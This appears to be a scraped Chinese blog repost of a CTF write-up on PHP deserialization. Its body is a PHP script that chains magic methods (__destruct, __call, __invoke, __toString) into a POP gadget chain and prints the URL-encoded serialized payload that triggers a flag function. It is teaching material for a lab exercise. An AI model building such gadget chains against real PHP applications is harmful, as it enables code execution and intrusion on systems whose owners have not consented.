php strlen ctf,CTF中的PHP反序列化漏洞简单分析
[PHP] 純文本查看 復(fù)制代碼<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()? ?? ?? ?? ?? ? #把$mod1賦值為Call類對象
{
$this->mod1 = new Call();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()? ?? ?? ?? ?? ? #把 $mod1賦值為funct類對象
{
$this->mod1 = new funct();
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()? ?? ?? ?? ?? ? #把 $mod1賦值為func類對象
{
$this->mod1= new func();
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()? ?? ?? ?? ?? ? #把 $mod1賦值為string1類對象
{
$this->mod1= new string1();
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()? ?? ?? ?? ?? ? #把 $str1賦值為GetFlag類對象
{
$this->str1= new GetFlag();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? #構(gòu)造start_gg類對象$b
echo urlencode(serialize($b))."
";? ?? ???#顯示輸出url編碼后的序列化對象
總結(jié)
以上是生活随笔為你收集整理的php strlen ctf,CTF中的PHP反序列化漏洞简单分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: win10子linux如何重置密码,Wi
- 下一篇: pythonsocket中tcp通信接收